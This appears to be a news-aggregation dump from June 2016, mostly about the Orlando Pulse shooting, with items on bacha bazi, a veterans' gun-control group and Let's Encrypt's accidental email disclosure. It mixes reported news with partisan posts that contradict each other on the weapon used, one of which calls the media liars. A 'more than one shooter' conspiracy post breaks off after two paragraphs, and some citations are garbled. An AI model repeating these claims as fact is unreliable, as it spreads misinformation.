^"Boys in Afghanistan Sold Into Prostitution, Sexual Slavery", Digital Journal, Nov 20, 2007^Coomaraswamy, Radhika Promotion and Protection of the Rights of Children at United Nations General Assembly, October 14, 2009^Qobil, Rustam (September 7, 2010). "The sexually abused dancing boys of Afghanistan". BBC News. Retrieved 9 May 2016. I'm at a wedding party in a remote village in northern Afghanistan. ^"Bacha bazi in Northern Afghanistan (Mazar-e-sharif) Shamali culture.". bhojpurinama.com. ^Mondloch, Chris (Oct 28, 2013). "Bacha Bazi: An Afghan Tragedy". Foreign Policy Magazine. Retrieved Apr 23, 2015. ^ abBrinkley, Joel (29 August 2010). "Afghanistan's dirty little secret". Retrieved 9 May 2016. ^Ghaith Abdul-Ahad. "The dancing boys of Afghanistan". the Guardian. ^"Transcript". ec2-107-21-207-21.compute-1.amazonaws.com. ^Roshni Kapur, The Diplomat. "Bacha Bazi: The Tragedy of Afghanistan's Dancing Boys". The Diplomat. ^"Afghan boy dancers sexually abused by former warlords". Reuters. 2007-11-18. Retrieved April 30, 2015. ^ abArni Snaevarr. "The dancing boys of Afghanistan". United Nations Regional Information Centre for Western Europe (UNRIC). ^ abLondon Times: Kandahar Men Return to Original Love: Teenage Boys. January 27, 2002. Accessed February 9, 2015.^ abBoone, Jon (December 2, 2010). "Foreign contractors hired Afghan 'dancing boys', WikiLeaks cable reveals". The Guardian (London). ^Quraishi, Najibullah Uncovering the world of "bacha bazi" at New York Times April 20, 2010^Bannerman, Mark The Warlord's Tune: Afghanistan's war on children at Australian Broadcasting Corporation February 22, 2010^"10 Mistakes the US Made in Afghanistan Before It Bombed a Hospital,"Sputnik (06.10.2015). Retrieved 06.10.2015.^Londo±o, Ernesto. "Afghanistan sees rise in 'dancing boys' exploitation". Washington Post. Washington Post. Retrieved 24 September 2015. ^Shay, Anthony. "The Male Dancer in the Middle East and Central Asia". Retrieved July 7, 2008. ^Schuyler, Eugene, Turkistan: Notes of a Journey in Russian Turkistan, Khokand, Bukhara and Kuldja (London: Sampson, Low, Marston, Searle & Rivington) 1876, Vol.I pp 132-3^"Pastimes of Central Asians. Group of Male Musicians Posing with Several Batchas, or Dancing Boys". World Digital Library. Retrieved 14 May 2014. ^"Pastimes of Central Asians. Group of Male Musicians Posing with Several Batchas, or Dancing Boys, 2". World Digital Library. Retrieved 14 May 2014. ^Count K. K. Pahlen, Mission to Turkestan: Being the memoirs of Count K.K. Pahlen, translation by Mr. N. Couriss, 1908-1909^B.M. Ilkin (Б. '-- Ð'. Ð'. '-- А. ÐÐ>>ькин), A.A. Divayev (А. '-- Б. А. '-- Ð--. Ð--иваев), Pyotr Komarov (ÐŸÐµÑ‚Ñ ÐšÐ¾Ð¼Ð°Ñов), Песни бачей (Songs of the bacch). In: КауÑманский сбоÑник, изданный в Ðамять 25 Ð>>ет, истекÑих со дня смеÑти ÐокоÑитеÐ>>я ÐуÑкестанскоÐ"о кÑая, Ð"енеÑаÐ>>-адъютанта К. П. Ñон-КауÑмана I-Ð"о ("Kaufman Collection: for the 25th anniversary of the death of Adjutant General K.P. von Kaufman, the conqueror of Central Asia"), Moscow, 1910 (Uzbek)(Russian)^"True Stories: The Dancing Boys of Afghanistan", 29 March 2010^"The Dancing Boys of Afghanistan", PBS Frontline TV documentary, April 20, 2010.^Graham, Nicholas (April 22, 2010). "'Dancing Boys Of Afghanistan': Bacha Bazi Documentary Exposes Horrific Sexual Abuse Of Young Afghan Boys (VIDEO)". The Huffington Post. Retrieved July 3, 2010. ^"Amnesty announces 2011 Media Awards winners". Amnesty International UK (AIUK). May 24, 2011. Archived from the original on Jan 10, 2013. Retrieved January 10, 2013. ^"Some Afghan Men Form Sexual Relationships With Young Boys" (August 31, 2010) RAWA News^"The Documentary: Afghanistan's Dancing Boys". BBC World Service. BBC. Mar 23, 2011. Retrieved January 14, 2013. ^"Betrayed while asleep, Afghan police die at hands of their countrymen" (December 27, 2012) New York Times^Vice Media, Inc.This Is What Victory Looks Like May 6, 2013^Jahner, Kyle (30 September 2015). "'One of the best': Defenders show support for ousted Green Beret". Retrieved 9 May 2016. ^Mark, David (28 September 2015). "Green Beret who beat Afghan official over alleged child assault to stay in Army". Retrieved 9 May 2016. ^Jahner, Kyle (2 March 2016). "'Martland Act' would empower U.S. troops to block sexual abuse on foreign soil". Retrieved 9 May 2016.
Mark Kelly, David Petraeus, Stanley McChrystal, Michael Hayden, Thad Allen, Wesley Clark and Other Veteran Leaders Launch New ''Veterans Coalition for Common Sense'' to Urge Elected Leaders to Do More to Prevent Gun Tragedies - Americans for Responsible
Tue, 14 Jun 2016 05:57
Mark Kelly, David Petraeus, Stanley McChrystal, Michael Hayden, Thad Allen, Wesley Clark and Other Veteran Leaders Launch New ''Veterans Coalition for Common Sense'' to Urge Elected Leaders to Do More to Prevent Gun Tragedies - Americans for Responsible Solutions
Former CIA, NSA directors, retired generals, launch gun control group | intelNews.org
Tue, 14 Jun 2016 05:56
June 14, 2016by Ian Allen
Former directors of the Central Intelligence Agency, the National Security Agency, as well as several 3- and 4-star generals and admirals have launched a new effort to control the sales of guns in the United States. The effort is certain to attract attention after last weekend's deadly mass shooting in Orlando, Florida. The group, which calls itself Veterans Coalition for Common Sense, is led by former CIA Director David Petraeus, former CIA and NSA Director Michael Hayden, and US Army General (ret.) Stanely McChrystal. The group's advisory committee includes recognizable figures such as that of Admiral Eric Olson, who led US Special Operations Command from 2007 to 2011 and was the first US Navy SEAL to be appointed to four-star rank. Other advisory committee members include high-ranking veterans from every branch of the US Armed Forces, such as R. Adm. Jamie Barnett, Brig. Gen. Stephen Cheney and Air Force commander Lt. Gen. Norman Seip.
The group was formally launched at a press conference in Washington, DC, on Friday, just hours before Sunday morning's mass shooting in Orlando. The organizers of the new effort said it came out of the 120,000-member strong Veterans for Responsible Solutions, a project spearheaded by USN R. Adm. Barnett in 2013, after the mass shooting at the Washington Navy Yard, which killed 15 people. Another group that has offered support for the new effort, and will act as its parent organization, is Americans for Responsible Solutions, a non-profit organization that promotes gun control in compliance with the US Constitution. It was founded shortly after the 2012 shooting at the Sandy Hook Elementary School in Newtwon, CT, which killed 28. The organization's founders are former NASA astronaut Mark Kelly and his wife, Gabrielle Giffords, whose Congressional career was cut short in January 2011, after she and 18 other people were shot in Tucson, AZ.
During their press conference on Friday, Veterans Coalition for Common Sense leaders said each had ''swore an oath to protect our Constitution and the homeland''. But they were now ''asking our leaders to do more to protect our rights and save lives'', they added. The group said they aimed to encourage their elected representatives to ''do more to prevent gun tragedies'', including closing legal loops on gun background checks, strengthening gun control laws more broadly, and focusing on the mental health component that appears to be part of many mass shootings. In a separate development, another former Director of the CIA, John McLaughlin, said on Monday that ''an assault weapons ban makes sense, at least to me''. In an interview with news site OZY, McLaughlin said that, in his personal view, ''it is way past time for an assault weapons ban''.
'–º Author: Ian Allen | Date: 14 June 2016 | Permalink
NARRATIVE FAIL: Orlando Islamic Terrorist Did NOT Use An AR-15 - Bearing Arms
Tue, 14 Jun 2016 05:44
The anti-gun politimedia wasted no time at all demonizing the most common rifle in the United States as being the real villain of the Islamic terrorist attack on Pulse nightclub in Orlando.
Judd Legume of Think Progress squeaked, ''The NRA's Love Affair With The AR-15, Weapon Of Choice For Mass Murderers, In 22 Tweets.''
Always wrong Christopher Ingraham of the Washington Post whined, ''The gun used in the Orlando shooting is becoming mass shooters' weapon of choice.''
Here's the thing.
The rifle used by the Islamist terrorist in Orlando was not an AR-15.
The rifle used by the Islamist terrorist in Orlando was instead a Sig Sauer MCX carbine, a modular, multi-caliber (able to swap to different calibers, including 5.56 NATO, 300 BLK, and 7.62—39) rifle system that sometimes utilizes STANAG magazines common to more than 60 different firearms, but otherwise has no major parts that interface with AR-15s in any way, shape or form.
This of course, will make no difference at all to the anti-gun politimedia, who don't particularly care about factual accuracy and who likely wouldn't be able to tell an AR-15 from a toaster oven if their lives depended on it.
All the media cares about is that they've wrapped their anti-gun dreams on demonizing the most popular rifle sold in the United States, and they're going to keep attacking it, whether or not it was used in any particular incident or not.
CJAD 800 '' News. Talk. Radio. :: Homicidal homophobe used to hang at Orlando gay hotspot, some regulars recall :: World News Article
Tue, 14 Jun 2016 05:42
at 23:11 on June 13, 2016, EDT.
ORLANDO, Fla. '-- Omar Mateen was more than just a homicidal, jihadist-inspired homophobe when he shot his way through an Orlando nightclub early Sunday morning, according to a couple of the establishment regulars.
He was also a repeat visitor.
A drag-dancing married couple described seeing Mateen as many as a dozen times at the gay-friendly nightclub where he'd later embark on the single worst gun massacre in modern American history.
Ty Smith and Chris Callen recalled the eventual killer being escorted drunk from the Pulse bar on multiple occasions, including one incident where he pointed a knife at a friend.
Both professed shock at seeing his face on TV: "It's the same guy," said Callen, who performs under the name Kristina McLaughlin. "He's been going to this bar for at least three years."
They expressed incredulity at the story being told by Mateen's father in the wake of the shooting, that the gunman had once been scandalized during a visit to Miami by the sight of men kissing each other.
They say Mateen saw plenty of men kiss '-- and far closer to home than Miami.
"That's bullcrap, right there. No offence. That's straight-up crap. He's been around us," Smith said Monday in an interview at the GLBT Community Center of Central Florida.
"Some of those people did a little more than (kiss) outside the bar.... He was partying with the people who supposedly drove him to do this?"
Smith said the sometimes-visitor would show up with a buddy and let loose in a way he couldn't when he was closer to the family home in Port St. Lucie: "(He'd get) really, really drunk... He couldn't drink when he was at home '-- around his wife, or family. His father was really strict... He used to bitch about it."
Neither Smith nor Callen would speculate on the sex life of the man who called police from inside the club early Sunday to profess his allegiance to a Middle East militant leader as he gunned down at least 49 people in cold blood.
But they expressed doubt over the family's story.
Other news reports fed the intrigue over his identity. An anonymous classmate from Mateen's police academy reportedly told the Palm Beach Post that Mateen was gay; that he'd been asked out by Mateen; and that they'd gone together to different gay bars at the time.
The Daily Beast, meanwhile, reported that the gunman frequently lunched at a diner where the waiter was an openly gay high-school classmate and drag queen. That classmate, Samuel King, said Mateen voiced no issues with gays and might have joined him at a drag show once or twice.
In separate interviews, both Callen and Smith described one incident that unnerved them.
They said they decided to keep their distance from Mateen after he exploded in anger at a joke told by one of their friends, possibly about religion: "He ended up pulling a knife," Callen said.
"He said if he ever messed with him again, you know how it'll turn out."
Now they're grappling with the shock of losing close friends. Pulse was like a second home to the couple after they moved from Indiana, and found new acceptance in Florida's more socially liberal climate.
Like several people interviewed Monday, they took exception to media descriptions of Pulse as a gay bar. Yes, they said, it has a predominantly gay clientele, but it catered to everyone.
Callen said he wished he had a place like that when he was an 18-year-old in Indiana. The place was so tolerant they even let him perform when he moved here four years ago and was far from ready for prime time.
"I was a hot mess," he said.
"And I grew to the queen that I am today... Straight people would come in. Couples. They would get up there and dance. They'd get birthday shots," he said.
"(It's a) place where you could come out. Just be you. To love who you are... That's what Pulse taught us."
The weekend's violent acts are spurring other signs of rapprochement between the city's communities.
A sign outside Orlando's LGBT centre warns that people should expect a security search of their bags upon entering. But visitors Monday overwhelmingly had acts of kindness on their mind.
Officials there said the loading area was filled with supplies people had dropped off, such as bottled water for families awaiting news about their loved ones.
One organizer said 200 people had responded to calls for grief counsellors. So many showed up that they had to create a database to keep track.
Rob Domenico said straight and gay people were lining up for hours to donate blood, in spite of U.S. restrictions on blood donations from men who have had sex with a man in the previous year.
"It's a tragedy," Domenico said.
"But it's wonderful to see a real community come together. Gay, straight... It's just a wonderful thing."
Content Provided By Canadian Press.
Orlando nightclub shooter visited club prior
Tue, 14 Jun 2016 05:41
A photo of Omar Mateen taken from his MySpace page.Screenshot/MySpace
The man police say killed 49 people at a gay nightclub in Orlando early Sunday morning had visited the club at least a dozen times before carrying out his attack, a witnesstold the Orlando Sentinel on Monday.
The suspected shooter, 29-year-old Omar Mateen, may have also used several different gay dating apps, according to reports from MSNBC and the Los Angeles Times.
And a former classmate of Mateen's told The Palm Beach Post he believed Mateen was gay, and that Mateen once asked him out romantically.
Three additional witnesses confirmed that they had seen Mateen at the gay nightclub more than once before.
"Sometimes he would go over in the corner and sit and drink by himself, and other times he would get so drunk he was loud and belligerent," one witness, Ty Smith, told the Sentinel.
"We didn't really talk to him a lot," he added. "But I remember him saying things about his dad at times.He told us he had a wife and child."
Chris Callen, who performs at Pulse under the name Kristina McLaughlin,told The Canadian Press and CNN's Anderson Cooper that Mateen had been going to the bar one or twice a month "for at least three years."
Smithlatertold The Canadian Press that Mateen said that he "couldn't drink when he was at home-around his wife, or family. His father was really strict."
Smith and Callen say that they stopped talking to Mateen when he pulled a knife on them after they made a religious comment.
"He said if he ever messed with him again, you know how it'll turn out," Callen said.
Reports of Mateen's flashes of anger and aggression align with what Mateen's ex-wife, Sitora Yusufiy, told CNN on Sunday night.
"In the beginning he was a normal being that cared about family, loved to joke, loved to have fun, but then a few months after we were married I saw his instability," she said. "I saw that he was bipolar and he would get mad out of nowhere. That's when I started worrying about my safety."
She told reporters earlier on Sunday that Mateen had beat her and emotionally abused her while they were married between 2009 and 2011.
'He was very creepy in his messages'An Orlando man told MSNBC's Chris Hayes on Monday that he had seen photos of Mateen on the gay dating apps Grindr, Adam4Adam, and Jack'd over the last several years.At least two of the man's friends had been contacted by Mateen on the apps.
"He was very creepy in his messages, and I blocked him immediately," the man said.
Kevin West, another regular at Pulse nightclub, told the Los Angeles Times that he chatted with Mateen on and off for a year on the gay dating app Jack'd, but had never met him in person.Incredibly, West said he met him for the first time as he was dropping a friend off at Pulse on Saturday night.
"He walked directly past me," West said. "I said, 'Hey,' and he turned and said, 'Hey,'" and nodded his head, West said. "I could tell by the eyes."
Aregular performer at Pulse told CNN's Anderson Cooper that he saw Mateen there a couple times a month, often with another man.
The reports come after Samuel King, a drag queen, told The Daily Beast that he had befriended Mateen while the two worked next door to each other in Fort Pierce. King said that Mateen had seemed generally accepting of the fact that he and his friends were openly gay. King said that he even recalls Mateen going at least once to the nightclub where King performed.
Police lock down Orange Avenue around the Pulse nightclub, where people were killed by a gunman in a shooting rampage, in Orlando, Florida, on June 12.REUTERS/Kevin Kolczynski
'He was always socially awkward'A former police academy classmate of Mateen's told The Palm Beach Post on Monday he thought Mateen was gay, and that Mateen once asked him out romantically.
The classmate, who did not use his name, said he, Mateen, and other classmates would sometimes go to gay bars after classes at the Indian River Community College police academy.
He told the Post he thought Mateen was gay, but not publicly. He added that Mateen was "awkward" and other members of their friend group felt sorry for him.
"He just wanted to fit in and no one liked him," he told the Post. "He was always socially awkward."
Friends and family members embrace outside the Orlando Police Headquarters during the investigation of a shooting at the Pulse night club, where as many as 20 people have been injured after a gunman opened fire, in Orlando, Florida, U.S June 12, 2016.REUTERS/Steve Nesius
Mateen, a US citizen born in New York in 1986 to two Afghan immigrants, was living in Fort Pierce, Florida, when he rented a car and drove to Orlando to carry out the attack on Sunday morning. An FBI representative said that he"was organized and well prepared" for the attack, and the ATF confirmed that he was armed with an AR-15 assault-style rifle and a handgun that he had legally bought a few days before.
Mateen was a security guard and had a Florida firearms license that allowed him to carry concealed weapons. He called 911 during his rampage at Pulse and pledged allegiance to ISIS, while also expressing sympathy for the Boston Marathon bombers and an American suicide bomber who died fighting for Al Qaeda in Syria.
The overnight shooting at the gay nightclub is the deadliest shooting in US history, with more fatalities than the mass shooting at Virginia Tech in 2007 (32 dead) and the mass shooting at Sandy Hook Elementary School in Newtown, Connecticut, in 2012 (27 dead).
Mateen was the subject of two separate FBI investigations in 2013 and 2014 - the first after he made inflammatory and contradictory statements about terrorism that raised concern with his coworkers, and the second after a source close to the FBI indicated that he may have had ties to the American suicide bomber who prayed at his mosque in Fort Pierce.
The director of the FBI, James Comey, said on Monday that Mateen had mentioned having links to Al Qaeda, Hezbollah, and the ISIS in the past three years, but that the FBI investigations were closed because of a lack of evidence.
Mark Abadi contributed reporting to this story.
Second City Cop: Do Something! Anything!
Tue, 14 Jun 2016 05:38
Such is the screeching from the left following the terror attack in Orlando. In fact, it took the media all of a day to get all the talking points lined up, leading to quite a bit of confusion as to what lies they should tell and what facts they should conceal:
The shooter was muslim - he called 911 and pledged his rampage to ISIS. He attended a radicalized mosque. His father ran a cable access talk show where he opined all sorts of anti-American rhetoric. But none of this had anything to do with the shooting according to the media, despite the fact that islam preaches hatred and slaughter of alternative lifestyle individuals. Obama gave a whole speech and never once mentioned "radicalized islam." They have now uncovered stories that the shooter was a frequent patron of the nightclub;Bad NRA Bad! Despite the fact that this guy passed a background check, AND even with numerous instances of spousal abuse AND with threats that led to two FBI investigations, the NRA is somehow to blame. Here's a bright idea - since the system instituted by liberals failed at every turn, and we have yet to see an NRA member implicated in a mass casualty event, why not let the NRA run background checks? They seem to know what they're doing.Ban something! Quick! The media is in full attack mode, spouting all sorts of lies about "fully automatic" AR-15's being the most dangerous weapon since the A-Bomb and how can America let such a high-powered weapon be bought and sold on the streets! The AR-15 is a notoriously under-powered rifle and crappy for hunting any sort of large game. It's a varmint rifle - things about the size of coyotes mostly. It is generally agreed the ballistics tend to be "unpredictable." It also wasn't used in the Orlando attack - rendering everything the media has been saying for two days now a bunch of knee-jerk reactionary lies. The rifle used was a Sig Sauer MCX carbine, which is about as incompatible with an AR platform as you can get, but why let the truth get in the way of a Big Media Lie?Here's a handy guide for our media trolls:
Bad laws affect only the law abiding and do nothing to stop criminals. Kind of like Prickwrinkle and Dart emptying the jail and Anita bargaining down sentences to under half of what's written in to the Illinois Compiled Statutes.
Labels: gun issues
Gunman Omar Mateen visited gay nightclub a dozen times before shooting, witness says - Orlando Sentinel
Tue, 14 Jun 2016 01:24
FORT PIERCE '-- At least four regular customers at the Orlando gay nightclub where a gunman killed 49 people said Monday that they had seen Omar Mateen there before.
"Sometimes he would go over in the corner and sit and drink by himself, and other times he would get so drunk he was loud and belligerent," Ty Smith said.
More details emerged Monday about the 29-year-old gunman and what he did in the days leading up to the massacre, the deadliest mass shooting in U.S. history.
He was at Walt Disney World in April, said a Disney manager who requested anonymity.
FBI Director James Comey said his agency was trying to nail down that report and the possibility that Mateen was scouting the amusement park as a potential target, the Associated Press reported.
Smith told the Orlando Sentinel that he saw Mateen inside at least a dozen times.
"We didn't really talk to him a lot, but I remember him saying things about his dad at times," Smith said. "He told us he had a wife and child."
When asked about those sightings, Orlando Police Chief John Mina said he had no information.
Another Pulse regular, Kevin West, told the Los Angeles Times that Mateen messaged him on and off for a year using a gay chat app.
They had never met, West said, but he watched as Mateen entered the club about 1 a.m. Sunday, an hour before the shooting began.
Mateen was the security guard, born in New Hyde Park, NY., who walked into the club about 2 a.m. Sunday with a semiautomatic pistol and an assault rifle. While dance music blared, he opened fire, killing 49 people and injuring 53.
He died three hours later in a shootout with the Orlando Police Department SWAT team when it stormed the building.
During the standoff, Mateen proclaimed his allegiance to the Islamic State and his support for the Muslim brothers who set off two bombs at the 2013 Boston Marathon, police said.
Late Monday came word that Mateen's wife, Noor Zahi Salman, was not cooperating with authorities, according to a law enforcement official who spoke on the condition of anonymity.
Investigators want to ask if she knew about his plans in advance or helped him scout out targets.
The official said they have talked extensively with Mateen's ex-wife, Sitora Yusufiy, who told reporters Sunday that the gunman was bi-polar and sometimes violent.
Mateen bought the weapons he used '-- a 9-mm semiautomatic pistol and .223-caliber assault rifle '-- at St. Lucie Shooting Center a few days before the massacre. Owner Edward Henson on Monday said he "vaguely" remembered him.
"He's a nobody," said Henson. "He's a customer. He came and purchased his guns, and he left."
Although the FBI investigated Mateen for possible connections to Muslim terrorists in 2013 and 2014, they closed those cases, concluding he was not a threat, Comey said.
Nothing in Mateen's background prohibited him from legally buying those guns, and the head of the state agency that oversees gun permits in Florida told reporters Monday that the system worked the way it was designed, The News Service of Florida reported.
Mateen applied for a state security guard license, the type that allows the holder to carry a firearm, and he got one, said Adam Putnam, state agriculture commissioner. Mateen was a U.S. citizen, had no criminal record and passed a psychological test.
He was eligible to buy as many guns as he liked because he was not a convicted felon, and was not facing a felony charge or a misdemeanor domestic violence charge. He was not a drug abuser, a fugitive, the subject of a domestic violence injunction, someone who was in the country illegally, someone who had been dishonorably discharged from the military or someone who had been found by a judge to be mentally incompetent.
"You cannot be deprived of rights because of an accusation," said Eileen Rieg, a former gun shop owner in Orlando who now operates a security guard training company. She said she was troubled that the FBI had not earlier found enough evidence to make an arrest.
More details emerged Monday, too, about Maheen's background, much of it related to law enforcement.
When he was 19, Mateen was injured when a St. Lucie County Sheriff's deputy lost control of his cruiser while racing to the scene of an automobile crash, according to a report.
Mateen was a passenger in the patrol car, taking part in a citizen ride-along, according to Sheriff's Office spokesman Bryan Beaty.
In 2006 he worked at a state prison '-- Martin Correctional Institution in Indiantown '-- for six months, according to Florida Department of Corrections.
That same year, he earned an associate's degree in criminal justice from Indian River Community College, according to school spokesman Robert Lane. That's a degree required to become a law enforcement officer in Florida.
In 2007, he was hired by G4S, a private security firm based in Jupiter. His assignment at the time of his death: working as a security guard at a gated retirement community in South Florida, the company reported.
Before that, G4S assigned him, for a time, to the St. Lucie County Courthouse in Fort Pierce, a gig that ended in 2013, according to court Administrator Thomas Genung.
Cord Cedeno and Chris Callen are other Pulse customers who told the Sentinel they had seen Mateen in the nightclub.
Callen said he had witnessed violent outbursts by Mateen.
"It was definitely him. He'd come in for years, and people knew him," Cedeno said.
Staffers Lauren Ritchie, David Fleshler, Elyssa Cherney, David Harris and Brian Bennett contributed to this report. glotan@tribpub.com or 407-420-5774, gstutzman@tribpub.com or 407-650-6394
Orlando Gunman Was a Pulse Nightclub Regular, Used Gay Dating App
Tue, 14 Jun 2016 01:16
Omar Mateen, the homophobic terrorist who carried out the recent horrific mass shooting in Orlando, may have been a closeted homosexual, according to Pulse regulars.
Ty Smith and Chris Callen, who are described as a ''drag-dancing married couple'' by The Canadian Press, said Mateen had visited Orlando's Pulse nightclub roughly a dozen times, even getting so drunk that club security had to expel him from the bar on at least one occasion.
While it was reported that Mateen went into a fit of rage after seeing gay men kiss in front of him, Smith said that was ''bullcrap,'' saying Mateen has seen plenty of men kiss before.
''That's straight-up crap. He's been around us,'' said Smith. ''Some of those people did a little more than (kiss) outside the bar'.... He was partying with the people who supposedly drove him to do this?''
''He's been going to this bar for at least three years,'' Callen told The Canadian Press.
''(He'd get) really, really drunk'... He couldn't drink when he was at home'--around his wife, or family. His father was really strict'... He used to bitch about it,'' Smith said.
At least four people have spoken to the press, confirming that Mateen frequented the Pulse nightclub. Samuel King, an openly gay high-school classmate of Mateen and local drag queen, also said that Mateen frequented the restaurant where King worked as a waiter, stating that he was friendly.
Furthermore, Mateen, who had a wife and child, was relatively active on the Jack'd dating app, where he exchanged at least one message with a gay man, according to MSNBC's Chris Hayes:
Mateen, a 29-year-old private security guard, carried out the attack around 2 a.m. Eastern Time early Sunday morning. He was killed by Orlando SWAT officers after a 3-hour standoff and hostage situation. Both of the weapons used in the attack '-- which has been declared the deadliest mass shooting in American history '-- were obtained legally.
Zach Cartwright is an activist and author from Richmond, Virginia. He enjoys writing about politics, government, and the media. Send him an email@ [email protected]
Let's Encrypt Accidentally Spills 7,600 User Emails
Tue, 14 Jun 2016 01:14
Certificate authority Let's Encrypt accidentally disclosed the email addresses of several thousand of its users this weekend.
Josh Aas, Executive Director for the Internet Security Research Group (ISRG), the nonprofit group that helped launch the CA, apologized for the error on Saturday. In what Let's Encrypt dubbed a preliminary report posted shortly after it happened, Aas blamed the faux pas on a bug in the automated email system the group uses.
The email, an update to the CA's subscriber agreement, had a list that contained at most 7,618 email addresses appended to the body's text, meaning anyone who was a subscriber received that list of emails, in plaintext.
Some users saw more emails than other users, however.
''Each email mistakenly contained the email addresses from the emails sent prior to it, so earlier emails contained fewer addresses than later ones,'' Aas wrote.
Aas claims it could've been worse however; officials with the CA noticed the issue and stopped the system before it sent out 383,000 emails, meaning only a fraction, 1.9%, was sent.
The group plans to investigate exactly what led to the leak and is asking anyone who received the email refrain from posting the email addresses online.
''We take our relationship with our users very seriously and apologize for the error,'' Aas wrote, ''We will be doing a thorough postmortem to determine exactly how this happened and how we can prevent something like this from happening again. We will update this incident report with our conclusions.''
WFTV: Arrest expected in Orlando nightclub mass shooting | WSB-TV
Tue, 14 Jun 2016 01:05
Updated: Jun 13, 2016 - 8:59 PM
Photo: Getty Images ORLANDO, Fl. '--Channel 2's sister station in Orlando, WFTV, is reporting that they expect an arrest in connection to the Orlando nightclub shooting that left 50 dead, including the shooter.
A top law enforcement source told WFTV an arrest, elsewhere in Florida, is expected of an alleged accomplice.
We are working to learn more information on this developing story. Check back with WSBTV.com and tune into The Channel 2 Action News Nightbeat at 11 p.m. for the latest.
Sunday's attack on the Pulse nightclub, in which 49 people were killed and gunman Omar Mateen died in a gun battle with police, prompted an outpouring of reminiscence and reflection on the vital roles that such clubs have played for many lesbians, gays, bisexuals and transgender people across the U.S.
ABC News confirmed Monday night that President Barack Obama will fly to Orlando Thursday to pay 'respects to victims' families, and to stand in solidarity with the community.
[SPECIAL SECTION: Orlando nightclub mass shooting]
Like many other young American men, Omar Mateen worked a series of unremarkable jobs during and after high school '-- a Publix grocery store, Circuit City, Chick-Fil-A and Walgreens.
He graduated in 2003 and jumped through a series of jobs related to nutrition and health, working at Nutrition World, Gold's Gym and a GNC store.
An early marriage faltered. But eventually he found some form of stability with a job as a security guard in South Florida, where he was still working when he stormed a gay nightclub early Sunday in Orlando, resulting in the deaths of 49 people and the wounding of 53 more. He died in a gunfight with police.
It remained unclear exactly why Mateen targeted the club. However, one patron told The Orlando Sentinel he saw Mateen drinking at the bar several times before the shooting. Ty Smith said he saw Mateen inside at least a dozen times.
"Sometimes he would go over in the corner and sit and drink by himself, and other times he would get so drunk he was loud and belligerent," Smith said.
Mateen, 29, spent most of his childhood on Florida's Atlantic coast and lived there as an adult, not far from his parents. Born in the New York City borough of Queens in 1986, he moved with his family to the Long Island town of Westbury two years later and then in 1991 to Port Saint Lucie, Florida, about 125 miles southeast of Orlando.
Imam Syed Shafeeq Rahman of the city's Islamic Center said he knew Mateen and his family since the shooter was a boy and never saw any signs of violence in him. The Orlando attack, he said, "was totally unexpected."
But one colleague at the security contractor G4S, his most recent employer, remembered the son of Afghan immigrants as an angry, profane co-worker who used slurs and threatened violence.
Daniel Gilroy said Mateen started badgering him and sending dozens of text messages to him daily, and that he reported Mateen's behavior to his bosses.
[READ: What we know about the victims of the Orlando nightclub massacre]
"I kind of feel a little guilty that I didn't fight harder," Gilroy said. "If I didn't walk away and I fought, then maybe 50 people would still be alive today."
Gilroy told multiple news outlets that Mateen routinely used slurs for gay people, blacks, Jews and women.
"He talked about killing people all the time," Gilroy told The New York Times. Of the massacre, Gilroy said, "I saw it coming."
G4S denied Gilroy's claims, saying in a statement Monday that it had no record of Gilroy ever making such a complaint to his superiors. Furthermore, the company said, Mateen told officials shortly after leaving in June 2015: "The work and job assignments were respectful and co-workers were good men and women that put in an honest day's work and genuinely like to work as a team and contribute."
A woman who said she was once a neighbor of Mateen's said the security company assigned him to guard the back entrance of PGA Village, a golf resort in Port St. Lucie. Tricia Adorno said her children would sometimes play ball with Mateen's young son.
[PHOTOS: Victims of Pulse nightclub massacre]
A spokesman for the St. Lucie County clerk of court said Mateen had once been assigned to the clerk's building and was issued a credential. Joseph Abreu said Mateen last used the credential to access the building in May 2013.
In a statement, the company said he had been subject to a detailed screening when he was recruited in 2007 and was re-screened in 2013 "with no adverse findings."
Mateen graduated with a degree in criminal-justice technology from Indian River Community College in 2006, the same year he changed his name from Omar Mir Seddique to Omar Mir Seddique Mateen, according to civil court records in St. Lucie County. The papers listed no reason for the name change.
His ex-wife, Sitora Yusufiy, said her former husband wanted to be a police officer and had applied to the police academy. He eventually joined G4S, a global security firm that has 610,000 employees in about 100 countries.
Yusufiy told reporters in Boulder, Colorado, that she believed Mateen suffered from mental illness.
Although records show the couple didn't divorce for two years after their 2009 marriage, Yusiufiy said she was actually with Mateen for only four months because he was abusive. She said he would not let her speak to her family and that family members had to come literally pull her out of his arms.
Divorce papers reveal that Mateen made $1,600 a month working for G4S and that she earned $3,000 a month as a real estate agent.
It's unclear when Mateen married his second wife, Noor Salman, but an Aug. 30, 2013, property deed in Saint Lucie County identified them as a married couple.
Family members said the pair had a young son about 3 years old.
On Monday, the FBI said Mateen appeared to be a "homegrown extremist" who espoused support for a jumble of often-conflicting Islamic radical groups. During the attack, he called 911 to profess allegiance to the Islamic State group.
FBI Director James Comey said Mateen was clearly "radicalized," at least in part via the internet.
The FBI became aware of him in 2013 when co-workers reported that he claimed to have family connections to al-Qaida and to be a member of Hezbollah, too, Comey said.
The agency launched a 10-month preliminary investigation, following Mateen, reviewing his communications and questioning him, the FBI chief said. Mateen claimed he made the remarks in anger because co-workers were teasing him and discriminating against him as a Muslim. The FBI eventually closed the case, Comey said.
His name surfaced again as part of another investigation into a suicide bomber from the Syrian rebel group Nusra Front. The FBI found Mateen and the man had attended the same mosque and knew each other casually, but the investigation turned up "no ties of any consequence," Comey said.
Mateen purchased at least two firearms legally within the last week or so, according to Trevor Velinor of the Bureau of Alcohol, Tobacco and Firearms.
He attended evening prayer services at Port St. Lucie's Islamic Center three to four times a week, most recently with his son, Rahman said. The imam said he last saw Mateen on Friday.
"When he finished prayer, he would just leave," Rahman told The Associated Press. "He would not socialize with anybody. He would be quiet. He would be very peaceful."
On Monday, the shooter's father, Seddique Mir Mateen, said what his son did "was the act of a terrorist."
"I apologize for what my son did. I am as sad and mad as you guys are," he told reporters outside his home. He did not go into details about his son's religious or political views, insisting he did not know.
Asked whether he missed his son, the father said: "I don't miss anything about him. What he did was against humanity."
(C) 2016 Cox Media Group.
There was More than One Shooter at Pulse in Orlando
Tue, 14 Jun 2016 00:43
Real life is not like the movies. People are surprisingly hard to kill. Bullets, even from an AR-15 ''assault rifle'' do not leave one person to kill others.
Currently the media has created a narrative. Omar Mateen acted alone when he shot up the Pulse nightclub in Orlando. This ''lone wolf'' killed over 50 people and maimed 53. That's a casualty count of over 100.
